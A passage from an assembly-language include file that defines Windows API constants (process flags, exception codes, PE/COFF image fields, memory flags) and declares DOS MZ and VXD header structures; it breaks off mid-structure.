PROCESS_HEAP_ENTRY_MOVEABLE EQU 0010h
|
||
PROCESS_HEAP_ENTRY_DDESHARE EQU 0020h
|
||
|
||
DEBUG_PROCESS EQU 00000001h
|
||
DEBUG_ONLY_THIS_PROCESS EQU 00000002h
|
||
CREATE_SUSPENDED EQU 00000004h
|
||
DETACHED_PROCESS EQU 00000008h
|
||
CREATE_NEW_CONSOLE EQU 00000010h
|
||
|
||
NORMAL_PRIORITY_CLASS EQU 00000020h
|
||
IDLE_PRIORITY_CLASS EQU 00000040h
|
||
HIGH_PRIORITY_CLASS EQU 00000080h
|
||
REALTIME_PRIORITY_CLASS EQU 00000100h
|
||
|
||
CREATE_NEW_PROCESS_GROUP EQU 00000200h
|
||
CREATE_UNICODE_ENVIRONMENT EQU 00000400h
|
||
|
||
CREATE_SEPARATE_WOW_VDM EQU 00000800h
|
||
CREATE_SHARED_WOW_VDM EQU 00001000h
|
||
CREATE_FORCEDOS EQU 00002000h
|
||
|
||
BELOW_NORMAL_PRIORITY_CLASS EQU 00004000h
|
||
ABOVE_NORMAL_PRIORITY_CLASS EQU 00008000h
|
||
|
||
CREATE_DEFAULT_ERROR_MODE EQU 04000000h
|
||
CREATE_NO_WINDOW EQU 08000000h
|
||
|
||
PROFILE_USER EQU 10000000h
|
||
PROFILE_KERNEL EQU 20000000h
|
||
PROFILE_SERVER EQU 40000000h
|
||
|
||
;ÄÄÄÄÄÄ´ SEM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
SEM_FAILCRITICALERRORS EQU 0001h
|
||
SEM_NOGPFAULTERRORBOX EQU 0002h
|
||
SEM_NOALIGNMENTFAULTEXCEPT EQU 0004h
|
||
SEM_NOOPENFILEERRORBOX EQU 8000h
|
||
|
||
;ÄÄÄÄÄÄ´ MESSAGES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
FORMAT_MESSAGE_ALLOCATE_BUFFER EQU 00000100h
|
||
FORMAT_MESSAGE_IGNORE_INSERTS EQU 00000200h
|
||
FORMAT_MESSAGE_FROM_STRING EQU 00000400h
|
||
FORMAT_MESSAGE_FROM_HMODULE EQU 00000800h
|
||
FORMAT_MESSAGE_FROM_SYSTEM EQU 00001000h
|
||
FORMAT_MESSAGE_ARGUMENT_ARRAY EQU 00002000h
|
||
FORMAT_MESSAGE_MAX_WIDTH_MASK EQU 000000FFh
|
||
|
||
MESSAGE_RESOURCE_UNICODE EQU 0001
|
||
|
||
;ÄÄÄÄÄÄ´ EXCEPTIONS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
EXCEPTION_NONCONTINUABLE EQU 1
|
||
EXCEPTION_MAXIMUM_PARAMETERS EQU 15
|
||
|
||
EXCEPTION_ACCESS_VIOLATION EQU STATUS_ACCESS_VIOLATION
|
||
EXCEPTION_DATATYPE_MISALIGNMENT EQU STATUS_DATATYPE_MISALIGNMENT
|
||
EXCEPTION_BREAKPOINT EQU STATUS_BREAKPOINT
|
||
EXCEPTION_SINGLE_STEP EQU STATUS_SINGLE_STEP
|
||
EXCEPTION_ARRAY_BOUNDS_EXCEEDED EQU STATUS_ARRAY_BOUNDS_EXCEEDED
|
||
EXCEPTION_FLT_DENORMAL_OPERAND EQU STATUS_FLOAT_DENORMAL_OPERAND
|
||
EXCEPTION_FLT_DIVIDE_BY_ZERO EQU STATUS_FLOAT_DIVIDE_BY_ZERO
|
||
EXCEPTION_FLT_INEXACT_RESULT EQU STATUS_FLOAT_INEXACT_RESULT
|
||
EXCEPTION_FLT_INVALID_OPERATION EQU STATUS_FLOAT_INVALID_OPERATION
|
||
EXCEPTION_FLT_OVERFLOW EQU STATUS_FLOAT_OVERFLOW
|
||
EXCEPTION_FLT_STACK_CHECK EQU STATUS_FLOAT_STACK_CHECK
|
||
EXCEPTION_FLT_UNDERFLOW EQU STATUS_FLOAT_UNDERFLOW
|
||
EXCEPTION_INT_DIVIDE_BY_ZERO EQU STATUS_INTEGER_DIVIDE_BY_ZERO
|
||
EXCEPTION_INT_OVERFLOW EQU STATUS_INTEGER_OVERFLOW
|
||
EXCEPTION_PRIV_INSTRUCTION EQU STATUS_PRIVILEGED_INSTRUCTION
|
||
EXCEPTION_IN_PAGE_ERROR EQU STATUS_IN_PAGE_ERROR
|
||
EXCEPTION_ILLEGAL_INSTRUCTION EQU STATUS_ILLEGAL_INSTRUCTION
|
||
EXCEPTION_NONCONTINUABLE_EXCEPTION EQU STATUS_NONCONTINUABLE_EXCEPTION
|
||
EXCEPTION_STACK_OVERFLOW EQU STATUS_STACK_OVERFLOW
|
||
EXCEPTION_INVALID_DISPOSITION EQU STATUS_INVALID_DISPOSITION
|
||
EXCEPTION_GUARD_PAGE EQU STATUS_GUARD_PAGE_VIOLATION
|
||
EXCEPTION_INVALID_HANDLE EQU STATUS_INVALID_HANDLE
|
||
|
||
;ÄÄÄÄÄÄ´ VERSION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
VER_SERVER_NT EQU 80000000h
|
||
VER_WORKSTATION_NT EQU 40000000h
|
||
VER_SUITE_SMALLBUSINESS EQU 00000001h
|
||
VER_SUITE_ENTERPRISE EQU 00000002h
|
||
VER_SUITE_BACKOFFICE EQU 00000004h
|
||
VER_SUITE_COMMUNICATIONS EQU 00000008h
|
||
VER_SUITE_TERMINAL EQU 00000010h
|
||
VER_SUITE_SMALLBUSINESS_RESTRICTED EQU 00000020h
|
||
VER_SUITE_EMBEDDEDNT EQU 00000040h
|
||
|
||
VER_PLATFORM_WIN32s EQU 0
|
||
VER_PLATFORM_WIN32_WINDOWS EQU 1
|
||
VER_PLATFORM_WIN32_NT EQU 2
|
||
|
||
VER_EQUAL EQU 1
|
||
VER_GREATER EQU 2
|
||
VER_GREATER_EQUAL EQU 3
|
||
VER_LESS EQU 4
|
||
VER_LESS_EQUAL EQU 5
|
||
VER_AND EQU 6
|
||
VER_OR EQU 7
|
||
|
||
VER_MINORVERSION EQU 0000001h
|
||
VER_MAJORVERSION EQU 0000002h
|
||
VER_BUILDNUMBER EQU 0000004h
|
||
VER_PLATFORMID EQU 0000008h
|
||
VER_SERVICEPACKMINOR EQU 0000010h
|
||
VER_SERVICEPACKMAJOR EQU 0000020h
|
||
VER_SUITENAME EQU 0000040h
|
||
|
||
;ÄÄÄÄÄÄ´ FILE IMAGES EQUATES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
IMAGE_DOS_SIGNATURE EQU 5A4Dh ; MZ
|
||
IMAGE_OS2_SIGNATURE EQU 454Eh ; NE
|
||
IMAGE_OS2_SIGNATURE_LE EQU 454Ch ; LE
|
||
IMAGE_VXD_SIGNATURE EQU 454Ch ; LE
|
||
IMAGE_NT_SIGNATURE EQU 00004550h ; PE00
|
||
IMAGE_SIZEOF_FILE_HEADER EQU 20 ;
|
||
IMAGE_SIZEOF_MZ_HEADER EQU 40h ;
|
||
|
||
; PE File Characteristics
|
||
|
||
IMAGE_FILE_RELOCS_STRIPPED EQU 0001h ; Relocation info stripped from file.
|
||
IMAGE_FILE_EXECUTABLE_IMAGE EQU 0002h ; File is executable (i.e. no unresolved externel references).
|
||
IMAGE_FILE_LINE_NUMS_STRIPPED EQU 0004h ; Line nunbers stripped from file.
|
||
IMAGE_FILE_LOCAL_SYMS_STRIPPED EQU 0008h ; Local symbols stripped from file.
|
||
IMAGE_FILE_AGGRESIVE_WS_TRIM EQU 0010h ; Agressively trim working set
|
||
IMAGE_FILE_LARGE_ADDRESS_AWARE EQU 0020h ; App can handle >2gb addresses
|
||
IMAGE_FILE_BYTES_REVERSED_LO EQU 0080h ; Bytes of machine word are reversed.
|
||
IMAGE_FILE_32BIT_MACHINE EQU 0100h ; 32 bit word machine.
|
||
IMAGE_FILE_DEBUG_STRIPPED EQU 0200h ; Debugging info stripped from file in .DBG file
|
||
IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP EQU 0400h ; If Image is on removable media, copy and run from the swap file.
|
||
IMAGE_FILE_NET_RUN_FROM_SWAP EQU 0800h ; If Image is on Net, copy and run from the swap file.
|
||
IMAGE_FILE_SYSTEM EQU 1000h ; System File.
|
||
IMAGE_FILE_DLL EQU 2000h ; File is a DLL.
|
||
IMAGE_FILE_UP_SYSTEM_ONLY EQU 4000h ; File should only be run on a UP machine
|
||
IMAGE_FILE_BYTES_REVERSED_HI EQU 8000h ; Bytes of machine word are reversed.
|
||
|
||
; PE Machine type
|
||
|
||
IMAGE_FILE_MACHINE_UNKNOWN EQU 0
|
||
IMAGE_FILE_MACHINE_I386 EQU 014ch ; Intel 386.
|
||
IMAGE_FILE_MACHINE_R3000 EQU 0162h ; MIPS little-endian, 160 big-endian
|
||
IMAGE_FILE_MACHINE_R4000 EQU 0166h ; MIPS little-endian
|
||
IMAGE_FILE_MACHINE_R10000 EQU 0168h ; MIPS little-endian
|
||
IMAGE_FILE_MACHINE_WCEMIPSV2 EQU 0169h ; MIPS little-endian WCE v2
|
||
IMAGE_FILE_MACHINE_ALPHA EQU 0184h ; Alpha_AXP
|
||
IMAGE_FILE_MACHINE_POWERPC EQU 01F0h ; IBM PowerPC Little-Endian
|
||
IMAGE_FILE_MACHINE_SH3 EQU 01a2h ; SH3 little-endian
|
||
IMAGE_FILE_MACHINE_SH3E EQU 01a4h ; SH3E little-endian
|
||
IMAGE_FILE_MACHINE_SH4 EQU 01a6h ; SH4 little-endian
|
||
IMAGE_FILE_MACHINE_ARM EQU 01c0h ; ARM Little-Endian
|
||
IMAGE_FILE_MACHINE_THUMB EQU 01c2h
|
||
IMAGE_FILE_MACHINE_IA64 EQU 0200h ; Intel 64
|
||
IMAGE_FILE_MACHINE_MIPS16 EQU 0266h ; MIPS
|
||
IMAGE_FILE_MACHINE_MIPSFPU EQU 0366h ; MIPS
|
||
IMAGE_FILE_MACHINE_MIPSFPU16 EQU 0466h ; MIPS
|
||
IMAGE_FILE_MACHINE_ALPHA64 EQU 0284h ; ALPHA64
|
||
IMAGE_FILE_MACHINE_AXP64 EQU IMAGE_FILE_MACHINE_ALPHA64
|
||
|
||
IMAGE_NUMBEROF_DIRECTORY_ENTRIES EQU 16
|
||
IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU 28
|
||
IMAGE_SIZEOF_NT_OPTIONAL_HEADER EQU 224
|
||
IMAGE_NT_OPTIONAL_HDR_MAGIC EQU 10bh
|
||
|
||
IMAGE_SUBSYSTEM_UNKNOWN EQU 0 ; Unknown subsystem.
|
||
IMAGE_SUBSYSTEM_NATIVE EQU 1 ; Image doesn't require a subsystem.
|
||
IMAGE_SUBSYSTEM_WINDOWS_GUI EQU 2 ; Image runs in the Windows GUI subsystem.
|
||
IMAGE_SUBSYSTEM_WINDOWS_CUI EQU 3 ; Image runs in the Windows character subsystem.
|
||
IMAGE_SUBSYSTEM_OS2_CUI EQU 5 ; image runs in the OS/2 character subsystem.
|
||
IMAGE_SUBSYSTEM_POSIX_CUI EQU 7 ; image runs in the Posix character subsystem.
|
||
IMAGE_SUBSYSTEM_NATIVE_WINDOWS EQU 8 ; image is a native Win9x driver.
|
||
IMAGE_SUBSYSTEM_WINDOWS_CE_GUI EQU 9 ; Image runs in the Windows CE subsystem.
|
||
|
||
; Directory Entries
|
||
|
||
IMAGE_DIRECTORY_ENTRY_EXPORT EQU 0 ; Export Directory
|
||
IMAGE_DIRECTORY_ENTRY_IMPORT EQU 1 ; Import Directory
|
||
IMAGE_DIRECTORY_ENTRY_RESOURCE EQU 2 ; Resource Directory
|
||
IMAGE_DIRECTORY_ENTRY_EXCEPTION EQU 3 ; Exception Directory
|
||
IMAGE_DIRECTORY_ENTRY_SECURITY EQU 4 ; Security Directory
|
||
IMAGE_DIRECTORY_ENTRY_BASERELOC EQU 5 ; Base Relocation Table
|
||
IMAGE_DIRECTORY_ENTRY_DEBUG EQU 6 ; Debug Directory
|
||
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE EQU 7 ; Architecture Specific Data
|
||
IMAGE_DIRECTORY_ENTRY_GLOBALPTR EQU 8 ; RVA of GP
|
||
IMAGE_DIRECTORY_ENTRY_TLS EQU 9 ; TLS Directory
|
||
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG EQU 10 ; Load Configuration Directory
|
||
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT EQU 11 ; Bound Import Directory in headers
|
||
IMAGE_DIRECTORY_ENTRY_IAT EQU 12 ; Import Address Table
|
||
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT EQU 13 ; Delay Load Import Descriptors
|
||
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR EQU 14 ; COM Runtime descriptor
|
||
|
||
IMAGE_SIZEOF_SHORT_NAME EQU 8
|
||
IMAGE_SIZEOF_SECTION_HEADER EQU 40
|
||
|
||
; Section Characteristics
|
||
|
||
IMAGE_SCN_CNT_CODE EQU 00000020h ; Section contains code.
|
||
IMAGE_SCN_CNT_INITIALIZED_DATA EQU 00000040h ; Section contains initialized data.
|
||
IMAGE_SCN_CNT_UNINITIALIZED_DATA EQU 00000080h ; Section contains uninitialized data.
|
||
|
||
IMAGE_SCN_LNK_INFO EQU 00000200h ; Section contains comments or some other type of information.
|
||
IMAGE_SCN_LNK_REMOVE EQU 00000800h ; Section contents will not become part of image.
|
||
IMAGE_SCN_LNK_COMDAT EQU 00001000h ; Section contents comdat.
|
||
IMAGE_SCN_NO_DEFER_SPEC_EXC EQU 00004000h ; Reset speculative exceptions handling bits in the TLB entries for this section.
|
||
IMAGE_SCN_GPREL EQU 00008000h ; Section content can be accessed relative to GP
|
||
IMAGE_SCN_MEM_FARDATA EQU 00008000h
|
||
IMAGE_SCN_MEM_PURGEABLE EQU 00020000h
|
||
IMAGE_SCN_MEM_16BIT EQU 00020000h
|
||
IMAGE_SCN_MEM_LOCKED EQU 00040000h
|
||
IMAGE_SCN_MEM_PRELOAD EQU 00080000h
|
||
|
||
IMAGE_SCN_ALIGN_1BYTES EQU 00100000h ;
|
||
IMAGE_SCN_ALIGN_2BYTES EQU 00200000h ;
|
||
IMAGE_SCN_ALIGN_4BYTES EQU 00300000h ;
|
||
IMAGE_SCN_ALIGN_8BYTES EQU 00400000h ;
|
||
IMAGE_SCN_ALIGN_16BYTES EQU 00500000h ; Default alignment if no others are specified.
|
||
IMAGE_SCN_ALIGN_32BYTES EQU 00600000h ;
|
||
IMAGE_SCN_ALIGN_64BYTES EQU 00700000h ;
|
||
IMAGE_SCN_ALIGN_128BYTES EQU 00800000h ;
|
||
IMAGE_SCN_ALIGN_256BYTES EQU 00900000h ;
|
||
IMAGE_SCN_ALIGN_512BYTES EQU 00A00000h ;
|
||
IMAGE_SCN_ALIGN_1024BYTES EQU 00B00000h ;
|
||
IMAGE_SCN_ALIGN_2048BYTES EQU 00C00000h ;
|
||
IMAGE_SCN_ALIGN_4096BYTES EQU 00D00000h ;
|
||
IMAGE_SCN_ALIGN_8192BYTES EQU 00E00000h ;
|
||
IMAGE_SCN_ALIGN_MASK EQU 00F00000h
|
||
|
||
IMAGE_SCN_LNK_NRELOC_OVFL EQU 01000000h ; Section contains extended relocations.
|
||
IMAGE_SCN_MEM_DISCARDABLE EQU 02000000h ; Section can be discarded.
|
||
IMAGE_SCN_MEM_NOT_CACHED EQU 04000000h ; Section is not cachable.
|
||
IMAGE_SCN_MEM_NOT_PAGED EQU 08000000h ; Section is not pageable.
|
||
IMAGE_SCN_MEM_SHARED EQU 10000000h ; Section is shareable.
|
||
IMAGE_SCN_MEM_EXECUTE EQU 20000000h ; Section is executable.
|
||
IMAGE_SCN_MEM_READ EQU 40000000h ; Section is readable.
|
||
IMAGE_SCN_MEM_WRITE EQU 80000000h ; Section is writeable.
|
||
|
||
IMAGE_SCN_SCALE_INDEX EQU 00000001h ; Tls index is scaled
|
||
|
||
IMAGE_SIZEOF_SYMBOL EQU 18
|
||
|
||
IMAGE_SYM_UNDEFINED EQU 0 ; Symbol is undefined or is common.
|
||
IMAGE_SYM_ABSOLUTE EQU -1 ; Symbol is an absolute value.
|
||
IMAGE_SYM_DEBUG EQU -2 ; Symbol is a special debug item.
|
||
|
||
IMAGE_SYM_TYPE_NULL EQU 0000h ; no type.
|
||
IMAGE_SYM_TYPE_VOID EQU 0001h ;
|
||
IMAGE_SYM_TYPE_CHAR EQU 0002h ; type character.
|
||
IMAGE_SYM_TYPE_SHORT EQU 0003h ; type short integer.
|
||
IMAGE_SYM_TYPE_INT EQU 0004h ;
|
||
IMAGE_SYM_TYPE_LONG EQU 0005h ;
|
||
IMAGE_SYM_TYPE_FLOAT EQU 0006h ;
|
||
IMAGE_SYM_TYPE_DOUBLE EQU 0007h ;
|
||
IMAGE_SYM_TYPE_STRUCT EQU 0008h ;
|
||
IMAGE_SYM_TYPE_UNION EQU 0009h ;
|
||
IMAGE_SYM_TYPE_ENUM EQU 000Ah ; enumeration.
|
||
IMAGE_SYM_TYPE_MOE EQU 000Bh ; member of enumeration.
|
||
IMAGE_SYM_TYPE_BYTE EQU 000Ch ;
|
||
IMAGE_SYM_TYPE_WORD EQU 000Dh ;
|
||
IMAGE_SYM_TYPE_UINT EQU 000Eh ;
|
||
IMAGE_SYM_TYPE_DWORD EQU 000Fh ;
|
||
IMAGE_SYM_TYPE_PCODE EQU 8000h ;
|
||
|
||
IMAGE_SYM_DTYPE_NULL EQU 0 ; no derived type.
|
||
IMAGE_SYM_DTYPE_POINTER EQU 1 ; pointer.
|
||
IMAGE_SYM_DTYPE_FUNCTION EQU 2 ; function.
|
||
IMAGE_SYM_DTYPE_ARRAY EQU 3 ; array.
|
||
|
||
|
||
IMAGE_SYM_CLASS_END_OF_FUNCTION EQU -1
|
||
IMAGE_SYM_CLASS_NULL EQU 0000h
|
||
IMAGE_SYM_CLASS_AUTOMATIC EQU 0001h
|
||
IMAGE_SYM_CLASS_EXTERNAL EQU 0002h
|
||
IMAGE_SYM_CLASS_STATIC EQU 0003h
|
||
IMAGE_SYM_CLASS_REGISTER EQU 0004h
|
||
IMAGE_SYM_CLASS_EXTERNAL_DEF EQU 0005h
|
||
IMAGE_SYM_CLASS_LABEL EQU 0006h
|
||
IMAGE_SYM_CLASS_UNDEFINED_LABEL EQU 0007h
|
||
IMAGE_SYM_CLASS_MEMBER_OF_STRUCT EQU 0008h
|
||
IMAGE_SYM_CLASS_ARGUMENT EQU 0009h
|
||
IMAGE_SYM_CLASS_STRUCT_TAG EQU 000Ah
|
||
IMAGE_SYM_CLASS_MEMBER_OF_UNION EQU 000Bh
|
||
IMAGE_SYM_CLASS_UNION_TAG EQU 000Ch
|
||
IMAGE_SYM_CLASS_TYPE_DEFINITION EQU 000Dh
|
||
IMAGE_SYM_CLASS_UNDEFINED_STATIC EQU 000Eh
|
||
IMAGE_SYM_CLASS_ENUM_TAG EQU 000Fh
|
||
IMAGE_SYM_CLASS_MEMBER_OF_ENUM EQU 0010h
|
||
IMAGE_SYM_CLASS_REGISTER_PARAM EQU 0011h
|
||
IMAGE_SYM_CLASS_BIT_FIELD EQU 0012h
|
||
|
||
IMAGE_SYM_CLASS_FAR_EXTERNAL EQU 0044h
|
||
|
||
IMAGE_SYM_CLASS_BLOCK EQU 0064h
|
||
IMAGE_SYM_CLASS_FUNCTION EQU 0065h
|
||
IMAGE_SYM_CLASS_END_OF_STRUCT EQU 0066h
|
||
IMAGE_SYM_CLASS_FILE EQU 0067h
|
||
IMAGE_SYM_CLASS_SECTION EQU 0068h
|
||
IMAGE_SYM_CLASS_WEAK_EXTERNAL EQU 0069h
|
||
|
||
|
||
N_BTMASK EQU 000Fh
|
||
N_TMASK EQU 0030h
|
||
N_TMASK1 EQU 00C0h
|
||
N_TMASK2 EQU 00F0h
|
||
N_BTSHFT EQU 4
|
||
N_TSHIFT EQU 2
|
||
|
||
IMAGE_SIZEOF_AUX_SYMBOL EQU 18
|
||
|
||
IMAGE_COMDAT_SELECT_NODUPLICATES EQU 1
|
||
IMAGE_COMDAT_SELECT_ANY EQU 2
|
||
IMAGE_COMDAT_SELECT_SAME_SIZE EQU 3
|
||
IMAGE_COMDAT_SELECT_EXACT_MATCH EQU 4
|
||
IMAGE_COMDAT_SELECT_ASSOCIATIVE EQU 5
|
||
IMAGE_COMDAT_SELECT_LARGEST EQU 6
|
||
IMAGE_COMDAT_SELECT_NEWEST EQU 7
|
||
|
||
IMAGE_WEAK_EXTERN_SEARCH_NOLIBRARY EQU 1
|
||
IMAGE_WEAK_EXTERN_SEARCH_LIBRARY EQU 2
|
||
IMAGE_WEAK_EXTERN_SEARCH_ALIAS EQU 3
|
||
|
||
IMAGE_SIZEOF_RELOCATION EQU 10
|
||
|
||
IMAGE_REL_I386_ABSOLUTE EQU 0000h ; Reference is absolute, no relocation is necessary
|
||
IMAGE_REL_I386_DIR16 EQU 0001h ; Direct 16-bit reference to the symbols virtual address
|
||
IMAGE_REL_I386_REL16 EQU 0002h ; PC-relative 16-bit reference to the symbols virtual address
|
||
IMAGE_REL_I386_DIR32 EQU 0006h ; Direct 32-bit reference to the symbols virtual address
|
||
IMAGE_REL_I386_DIR32NB EQU 0007h ; Direct 32-bit reference to the symbols virtual address, base not included
|
||
IMAGE_REL_I386_SEG12 EQU 0009h ; Direct 16-bit reference to the segment-selector bits of a 32-bit virtual address
|
||
IMAGE_REL_I386_SECTION EQU 000Ah
|
||
IMAGE_REL_I386_SECREL EQU 000Bh
|
||
IMAGE_REL_I386_REL32 EQU 0014h ; PC-relative 32-bit reference to the symbols virtual address
|
||
|
||
IMAGE_SIZEOF_LINENUMBER EQU 6
|
||
IMAGE_SIZEOF_BASE_RELOCATION EQU 8
|
||
|
||
IMAGE_REL_BASED_ABSOLUTE EQU 0
|
||
IMAGE_REL_BASED_HIGH EQU 1
|
||
IMAGE_REL_BASED_LOW EQU 2
|
||
IMAGE_REL_BASED_HIGHLOW EQU 3
|
||
IMAGE_REL_BASED_HIGHADJ EQU 4
|
||
IMAGE_REL_BASED_MIPS_JMPADDR EQU 5
|
||
IMAGE_REL_BASED_SECTION EQU 6
|
||
IMAGE_REL_BASED_REL32 EQU 7
|
||
|
||
IMAGE_REL_BASED_MIPS_JMPADDR16 EQU 9
|
||
IMAGE_REL_BASED_IA64_IMM64 EQU 9
|
||
IMAGE_REL_BASED_DIR64 EQU 10
|
||
IMAGE_REL_BASED_HIGH3ADJ EQU 11
|
||
|
||
IMAGE_ORDINAL_FLAG EQU 80000000h
|
||
|
||
IMAGE_RESOURCE_NAME_IS_STRING EQU 80000000h
|
||
IMAGE_RESOURCE_DATA_IS_DIRECTORY EQU 80000000h
|
||
|
||
IMAGE_DEBUG_TYPE_UNKNOWN EQU 0
|
||
IMAGE_DEBUG_TYPE_COFF EQU 1
|
||
IMAGE_DEBUG_TYPE_CODEVIEW EQU 2
|
||
IMAGE_DEBUG_TYPE_FPO EQU 3
|
||
IMAGE_DEBUG_TYPE_MISC EQU 4
|
||
IMAGE_DEBUG_TYPE_EXCEPTION EQU 5
|
||
IMAGE_DEBUG_TYPE_FIXUP EQU 6
|
||
IMAGE_DEBUG_TYPE_OMAP_TO_SRC EQU 7
|
||
IMAGE_DEBUG_TYPE_OMAP_FROM_SRC EQU 8
|
||
IMAGE_DEBUG_TYPE_BORLAND EQU 9
|
||
IMAGE_DEBUG_TYPE_RESERVED10 EQU 10
|
||
|
||
IMAGE_DEBUG_MISC_EXENAME EQU 1
|
||
|
||
IMAGE_SEPARATE_DEBUG_SIGNATURE EQU 04944h
|
||
|
||
IMAGE_SEPARATE_DEBUG_FLAGS_MASK EQU 8000h
|
||
IMAGE_SEPARATE_DEBUG_MISMATCH EQU 8000h ; when DBG was updated, the
|
||
|
||
;ÄÄÄÄÄÄ´ MEMORY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; G = GLOBAL
|
||
; L = LOCAL (NB. IN WIN95/98/NT GLOBAL=LOCAL)
|
||
|
||
GMEM_FIXED EQU 0000h
|
||
GMEM_MOVEABLE EQU 0002h
|
||
GMEM_NOCOMPACT EQU 0010h
|
||
GMEM_NODISCARD EQU 0020h
|
||
GMEM_ZEROINIT EQU 0040h
|
||
GMEM_MODIFY EQU 0080h
|
||
GMEM_DISCARDABLE EQU 0100h
|
||
GMEM_NOT_BANKED EQU 1000h
|
||
GMEM_SHARE EQU 2000h
|
||
GMEM_DDESHARE EQU 2000h
|
||
GMEM_NOTIFY EQU 4000h
|
||
GMEM_LOWER EQU GMEM_NOT_BANKED
|
||
GMEM_VALID_FLAGS EQU 7F72h
|
||
GMEM_INVALID_HANDLE EQU 8000h
|
||
|
||
GHND EQU (GMEM_MOVEABLE OR GMEM_ZEROINIT)
|
||
GPTR EQU (GMEM_FIXED OR GMEM_ZEROINIT)
|
||
|
||
GMEM_DISCARDED EQU 4000h
|
||
GMEM_LOCKCOUNT EQU 00FFh
|
||
|
||
LMEM_FIXED EQU 0000h
|
||
LMEM_MOVEABLE EQU 0002h
|
||
LMEM_NOCOMPACT EQU 0010h
|
||
LMEM_NODISCARD EQU 0020h
|
||
LMEM_ZEROINIT EQU 0040h
|
||
LMEM_MODIFY EQU 0080h
|
||
LMEM_DISCARDABLE EQU 0F00h
|
||
LMEM_VALID_FLAGS EQU 0F72h
|
||
LMEM_INVALID_HANDLE EQU 8000h
|
||
|
||
LHND EQU (LMEM_MOVEABLE OR LMEM_ZEROINIT)
|
||
LPTR EQU (LMEM_FIXED OR LMEM_ZEROINIT)
|
||
|
||
NONZEROLHND EQU LMEM_MOVEABLE
|
||
NONZEROLPTR EQU LMEM_FIXED
|
||
|
||
LMEM_DISCARDED EQU 4000h
|
||
LMEM_LOCKCOUNT EQU 00FFh
|
||
|
||
|
||
;ÍÍÍÍÍ͵ STRUCTURES ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
IMAGE_DOS_HEADER STRUC ; DOS .EXE header
|
||
MZ_magic DW ? ; Magic number
|
||
MZ_cblp DW ? ; Bytes on last page of file
|
||
MZ_cp DW ? ; Pages in file
|
||
MZ_crlc DW ? ; Relocations
|
||
MZ_cparhdr DW ? ; Size of header in paragraphs
|
||
MZ_minalloc DW ? ; Minimum extra paragraphs needed
|
||
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
|
||
MZ_ss DW ? ; Initial (relative) SS value
|
||
MZ_sp DW ? ; Initial SP value
|
||
MZ_csum DW ? ; Checksum
|
||
MZ_ip DW ? ; Initial IP value
|
||
MZ_cs DW ? ; Initial (relative) CS value
|
||
MZ_lfarlc DW ? ; File address of relocation table
|
||
MZ_ovno DW ? ; Overlay number
|
||
MZ_res DW 4 DUP(?) ; Reserved words
|
||
MZ_oemid DW ? ; OEM identifier (for MZ_oeminfo)
|
||
MZ_oeminfo DW ? ; OEM information; MZ_oemid specific
|
||
MZ_res2 DW 10 DUP(?) ; Reserved words
|
||
MZ_lfanew DD ? ; File address of new exe header
|
||
IMAGE_DOS_HEADER ENDS ;
|
||
|
||
IMAGE_VXD_HEADER STRUC ; Windows VXD header
|
||
VXD_magic DW ? ; Magic number
|
||
VXD_border DB ? ; The byte ordering for the VXD
|
||
VXD_worder DB ? ; The word ordering for the VXD
|
||
VXD_level DD ? ; The EXE format level for now = 0
|
||
VXD_cpu DW ? ; The CPU type
|
||
VXD_os DW ? ; The OS type
|
||
VXD_ver DD ? ; Module version
|
||
VXD_mflags DD ? ; Module flags
|
||
VXD_mpages DD ? ; Module # pages
|
||
VXD_startobj DD ? ; Object # for instruction pointer
|
||
VXD_eip DD ? ; Extended instruction pointer
|
||
VXD_stackobj DD ? ; Object # for stack pointer
|
||
VXD_esp DD ? ; Extended stack pointer
|
||
VXD_pagesize DD ? ; VXD page size
|
||
VXD_lastpagesize DD ? ; Last page size in VXD
|
||
VXD_fixupsize DD ? ; Fixup section size
|
||
VXD_fixupsum DD ? ; Fixup section checksum
|
||
VXD_ldrsize DD ? ; Loader section size
|
||
VXD_ldrsum DD ? ; Loader section checksum
|
||
VXD_objtab DD ? ; Object table offset
|
||
VXD_objcnt DD ? ; Number of objects in module
|
||
VXD_objmap DD ? ; Object page map offset
|
||
VXD_itermap DD ? ; Object iterated data map offset
|
||
VXD_rsrctab DD ? ; Offset of Resource Table
|
||
